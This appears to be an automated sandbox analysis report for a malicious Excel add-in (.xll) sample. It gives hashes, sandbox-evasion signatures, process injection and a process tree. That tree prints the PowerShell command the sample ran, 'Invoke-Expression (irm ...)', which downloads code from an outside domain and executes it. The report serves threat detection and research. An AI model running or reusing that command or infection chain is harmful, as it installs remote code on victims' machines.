Analysis
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max time kernel
137s -
max time network
132s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 01:29
Static task
static1
Behavioral task
behavioral1
Sample
0c80a5b85e5c183be0e72555a6cbb01373aa6786f5cd9c6b1b33ed0b2c0626a6.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
0c80a5b85e5c183be0e72555a6cbb01373aa6786f5cd9c6b1b33ed0b2c0626a6.xll
Resource
win11-20240426-en
General
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Target
0c80a5b85e5c183be0e72555a6cbb01373aa6786f5cd9c6b1b33ed0b2c0626a6.xll
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Size
12KB
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MD5
9c29fa879f4bb516bf284091f214578f
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SHA1
7fb01e0e2f8f4fd269e68defccbaad8edfb7f53f
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SHA256
0c80a5b85e5c183be0e72555a6cbb01373aa6786f5cd9c6b1b33ed0b2c0626a6
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SHA512
d3a813ce0089dd307825e3c7de54766772cb3b7cb600b1feba880cf0bc11306fcc429a28836e00ffe641921a7ac4bfe87c5c7d6a6cc43d1a2c29e5b72557e88b
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SSDEEP
192:hL29RBzDzeobchBj8JONRONatruGrEPEjr7Ahe:x29jnbcvYJOuwuGvr7Ce
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1320 2648 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 33 4840 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 2648 EXCEL.EXE 2648 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2648 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4840 powershell.exe 4840 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4840 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 2648 EXCEL.EXE 2648 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 2648 wrote to memory of 1320 2648 EXCEL.EXE mshta.exe PID 2648 wrote to memory of 1320 2648 EXCEL.EXE mshta.exe PID 2648 wrote to memory of 1320 2648 EXCEL.EXE mshta.exe PID 1320 wrote to memory of 4840 1320 mshta.exe powershell.exe PID 1320 wrote to memory of 4840 1320 mshta.exe powershell.exe PID 1320 wrote to memory of 4840 1320 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0c80a5b85e5c183be0e72555a6cbb01373aa6786f5cd9c6b1b33ed0b2c0626a6.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1320 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\0c80a5b85e5c183be0e72555a6cbb01373aa6786f5cd9c6b1b33ed0b2c0626a6.xll
Filesize12KB
MD59c29fa879f4bb516bf284091f214578f
SHA17fb01e0e2f8f4fd269e68defccbaad8edfb7f53f
SHA2560c80a5b85e5c183be0e72555a6cbb01373aa6786f5cd9c6b1b33ed0b2c0626a6
SHA512d3a813ce0089dd307825e3c7de54766772cb3b7cb600b1feba880cf0bc11306fcc429a28836e00ffe641921a7ac4bfe87c5c7d6a6cc43d1a2c29e5b72557e88b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82